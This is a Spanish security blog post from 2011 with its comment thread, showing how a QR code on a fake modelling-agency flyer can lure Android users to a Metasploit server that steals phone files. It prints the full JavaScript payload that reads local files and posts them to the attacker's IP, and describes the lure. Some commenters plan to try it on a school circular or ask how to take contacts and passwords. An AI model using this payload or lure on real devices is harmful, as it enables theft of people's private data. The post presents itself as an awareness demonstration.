27 sept 2011

PoC: Robar archivos de Android con Metasploit, un folio y un poco de salero

Buenas a todos, hace varias semanas, en concreto una antes del congreso No cON Name, mientras estaba preparándolo con Pablo, un amigo me enviaba por Twitter el siguiente artículo, en el que explicaban como mediante un sencillo código QR con una URL que redireccionaba un terminal móvil (con Android) a una IP y un Puerto donde se encontraba Metasploit escuchando, era posible recuperar información del móvil. Cómo me resultó curiosa la idea me dispuse a realizar una PoC.

Es curioso pensar que gracias a la tecnología actual con una simple hoja de papel (que contendrá el código QR) es posible hackear un terminal para obtener datos del mismo. Esto abre la puerta a los ingenieros sociales, que pueden utilizar todo tipo de tretas para, por ejemplo, conseguir información de móviles de menores, o en el caso de hoy, dándole un poco de humor al asunto, de chicas guapas (para demostrar lo que no se debe hacer, guiño guiño =)).

Todo lo que veréis a continuación es una prueba de concepto realizada en un entorno controlado en local.

En primer lugar necesitaremos una herramienta que nos genere un código QR, tenéis muchas por Internet. A continuación generaréis un código QR que contenga la dirección IP de la máquina donde dejaréis escuchando metasploit por el puerto 80, en mi caso como estoy en una intranet, la 192.168.1.23.

En segundo lugar deberéis escribir en un folio un texto de gancho (Ingeniería Social en su máximo esplendor), para conseguir que las víctimas piquen el anzuelo, y utilicen su terminal móvil con Android para leer el código QR del folio. En nuestro caso, me he inventado una supuesta agencia de modelos que busca azafatas para un congreso :)

Como dato curioso, algunas aplicaciones móviles que decodifican códigos QR, no preguntan tras leer códigos que contienen una URL, si el usuario desea acceder a ellas realmente, y te redirigen directamente al Sitio Web, este es el caso de la aplicación ScanLife, que facilita aún más nuestra estrategia para conseguir que la victima visite nuestra IP.

A continuación os dejo una imagen con mi documento:

El siguiente paso será montar Metasploit para que quede escuchando en la IP 192.168.1.23 por el puerto 80, con el exploit para Android del que hablábamos. Para ello yo he utilizado una VM con Backtrack 5 R1.

Una vez lanzada la distro, ejecutaremos Metasploit desde una shell:

Ahora cargaremos el módulo de Android con el que lanzaremos el ataque y le indicamos que queremos robar el siguiente archivo del móvil (si queréis lanzar otro tipo de ataque podéis ver las distintas opciones con el comando "show options":

Indicamos al módulo que queremos que la víctima sea redirigida directamente a la raíz del servidor:

Y al puerto 80 (si no lo modificamos, por defecto está configurado en el 8080):

Ya solo nos falta arrancar el servidor con el exploit y esperar a una víctima:

Ahora toca realizar ingeniería social, repartiendo por las calles el panfleto de nuestra Agencia de Modelos Flu, buscando víctimas a las que robar sus datos.

Yo he sacrificado para la PoC mi HTC Desire, y he escaneado el código QR, en mi caso (como debería de ser en todas las APP que escaneen QR, aunque haya herramientas como ScanLife que se lo pasan por el forro) me preguntó el móvil antes de redireccionarme a la página sobre si quería realmente abrir el Sitio Web.

Tras aceptar la redirección, en el móvil pude ver una página Web totalmente blanca, cuya URL contenía gran cantidad de símbolos alfanuméricos. Me dispuse a editar el contenido del HTML con un editor que tengo en Android, y pude ver el siguiente código:

<html><body><script lang=javascript>var target_files = Array('system/etc/hosts');var results = new Array();function addField(form, name, value) {var hf = document.createElement('input');hf.setAttribute('type', 'hidden');hf.setAttribute('name', name);hf.setAttribute('value', value);form.appendChild(hf);}function uploadFiles(files) {var form = document.createElement('form');form.setAttribute('method', 'POST');form.setAttribute('action', 'http://192.168.1.23:80/q');var i = 0;for (var fn in files) {addField(form, 'f'+i, btoa(fn));addField(form, 'd'+i, files[fn]);i += 1;}document.body.appendChild(form);form.submit();}for (var fn in target_files) {fn = target_files[fn];xh = new XMLHttpRequest();xh.open('GET', fn, false);xh.onreadystatechange = function() { if (xh.readyState == 4) { results[fn] = btoa(xh.responseText); } }xh.send();}uploadFiles(results);</script></body></html>

Si nos vamos ahora a la consola de Metasploit podremos ver como todo ha funcionado correctamente y ya he logrado obtener la información del móvil:

¿Creo que a partir de ahora os pensaréis dos veces antes de escanear un código QR desde el móvil verdad? }=P Últimamente veo mucho por el metro de Madrid, anuncios por las paredes de una conocida cadena de radio donde se publicitan mediante códigos QR, ¿será una estrategia para espiar las noticias que vamos a publicar en nuestros blogs? o eso solo ocurre en rtve... ;)

Saludos!

33 comentarios:

  1. Como no entiendo mucho de metasploit ni de backtrak te formulo la siguiente pregunta:Se podria poner en una pagina (cualquiera) un iframe con la con src="192.168.1.23" asi hacemos que el visitante no sospite demasiado. Se capturarian los datos al ser un iframe?Si no se me entiende decidmelo, he intentado explicarlo lo mejor posible

    ResponderEliminar
  2. Si, pero para eso la web tiene que ser vulnerable a iframe injection.Saludos

    ResponderEliminar
  3. Bueno yo me refería simplemente a que sea propia.

    ResponderEliminar
  4. Vale que es un tema relativamente nuevo, pero si podeis ponernos un enlace, que ya hablamos nosotros de ello... http://blog.vidasconcurrentes.com/android/obteniendo-informacion-de-dispositivos-android-con-metasploit/

    ResponderEliminar
  5. Como estas cosas siempre hay que probarlas y ya que formo parte del consejo de alumnos de mi instituto,la próxima circular llevará como novedad un código QR para ver "mas información". :)SOLO como prueba de concepto =)Muy bueno Juanan!

    ResponderEliminar
  6. vazquez jordi: Como estas cosas siempre hay que probarlas y ya que formo parte del consejo de alumnos de mi instituto,la próxima circular llevará como novedad un código QR para ver “mas información”. SOLO como prueba de concepto =)Muy bueno Juanan!Cuidado con las PoC, que cuando haces PoC, ya no hay STOP XD, no acabes la noche con un pijama a rayas.

    ResponderEliminar
  7. zipus: Bueno yo me refería simplemente a que sea propia.ok!, me iba al caso de explotar vulnerabilidades :P. Si debería funcionar sin problemas, es código ejecutado en el navegador igualmente.saludos!

    ResponderEliminar
  8. Aquí hace tiempo hice una demo de como conseguir info de android usando metasploit ;)http://www.metasploiter.com/2011/02/videotutorial-metasploit-auxiliary.htmlUn saludo

    ResponderEliminar
  9. ¿si escribimos "set FILES /data/cache/basededatosguay.bd" donde se guardaria la basededatosguay.bd en la máquina atacante?

    ResponderEliminar
  10. [...] a todos, hace algunos meses publicamos el artículo PoC: Robar archivos de Android con Metasploit, un folio y un poco de salero, que tuvo mucho éxito, y algunos de vosotros nos pedisteis un video en el que se viese todo el [...]

    ResponderEliminar
  11. donde veo los resultados en la maquina atacante?

    ResponderEliminar
  12. jlgr8: donde veo los resultados en la maquina atacante?En la propia consola de Metasploit.saludos

    ResponderEliminar
  13. pero juanantonio.calles no habria ninguna forma de guardar los archivos en la maquina atacante?

    ResponderEliminar
  14. yo tengo mi android rooteado para poder sacarle mas informacion como por ejemplo los contactos o culquier otra cosa pero al escanear el codigo qr lo unico que me manda es la informacion del android el modelo del mobil pero no me da la informacion que segun yo le saque que es la de los contactos

    ResponderEliminar
  15. estoy tratando de sacarle esto /data/data/com.android.probiders.contacts/contacts.db y al escanear el codigo qr no me manda eso me manda algo parecido a lo de la imagen solo datos del mobil

    ResponderEliminar
  16. @jlgr8 por las pruebas que he realizado por casa con los cacharros que tengo con Android, a partir de versiones superiores a la 2.3, deja de funcionar el exploit (el exploit tiene ya año y pico). Verás entonces el texto "sending payload" y después no recupera ningún archivo. Lo único que efectivamente verías es la versión y modelo que lo recupera al realizar la conexión con el servidor que monta metasploit.Saludos

    ResponderEliminar
  17. como pudo ver algo mas siempre keda en sending payload y no me muestra mas informacion solo la del mobil modelo vercion idioma etc pero no la que yo le pido!

    ResponderEliminar
  18. entonces que tengo que hacer¿ayudenmee!!

    ResponderEliminar
  19. mi android esfirmware 2-1 uptade1kernel 2.6.29compilacion 2.1.1.a.06

    ResponderEliminar
  20. jlgr8: mi android esfirmware 2-1 uptade1kernel 2.6.29compilacion 2.1.1.a.06Por versión parece que no es, porque las pruebas que he hecho con mi Android más antiguo (2.2.1) ha funcionado sin problemas. ¿Has comprobado que el móvil llegue a descargarse el payload?

    ResponderEliminar
  21. no nunca eh comprobasdo tienes msn?

    ResponderEliminar
  22. pues nose eso son los datos que me salen como podria saber que android es? lo unico que veo son los datos que te puse!el firmware el kernelpero no hay un lugar que me confirme que es android 2.1

    ResponderEliminar
  23. tu haz logrado sacarle alguna informacion al androidcomo contactos,numeros,contraseñas nose algo asi?esque lo necesito para una practica que estoy haciendo

    ResponderEliminar
  24. nunca ah pasado del sending payload siempre queda haytu ya lo graste sacar informacion del mobil como por ejemplo contraseñas contactos¿ algo?

    ResponderEliminar
  25. lei que el android 2.0 y el 2.1 estan basados en el kernel 2.6.29 y ese es el kernel ke tiene mi mobil

    ResponderEliminar
  26. para empezar mi android es un sony erickson xperia x10 mini profirmware 2-1 uptade1kernel 2.6.29compilacion 2.1.1.a.06

    ResponderEliminar
  27. ya vi que mi android es 2.1 y aqui el de la imagen dice android 2.2 porque si se puede con ese y cn el mio solo queda en sending payload

    ResponderEliminar
  28. Hola @jlgr8, intenta juntar los comentarios en uno la próxima vez, por favor, para no alargar mucho el hilo. Tampoco hace falta que nos hagas la misma pregunta en youtube y aquí, con una que nos hagas una lo leemos (nos llega un email por cada comentario en todas las redes) y en cuanto podamos contestaremos.Volviendo al tema, intenta hacer una captura de pantalla a la consola de msf en la que se vea la ejecución completa, a ver si así podemos ver que puede estar pasando.saludos

    ResponderEliminar
  29. hola juanantonio.calleste paso un video de lo que me pasa espero lo veas y me puedas ayudar http://youtu.be/d_nHqhVo3IAcualquiera que pueda ayudarme se lo agradecere!!

    ResponderEliminar
  30. juanito hay deje un video espero lo veas y me puedas ayudar!

    ResponderEliminar
  31. ayudame juanitoo!! tu pudiste sacar informacion del android como conttraseñas o alguna informacion valiosa es para un proyecto que tengo en la escuela espero alguien me pueda ayudar hhay deje el video de lo que hace mi android saludos

    ResponderEliminar
  32. jlgr8: juadeje un video espero lo veas y me puedas ayudar!Lo siento, no se que te puede ocurrirsaludos

    ResponderEliminar
  33. ah ok gracias juanito, tu no tienes videos donde logres hacer la practica completa pero sacando informacion del android como contactos o contraseñas? espero me ayudes es importante para mi lograr esta practica ya que es para mi escuela y ya me queda poco tiempo

    ResponderEliminar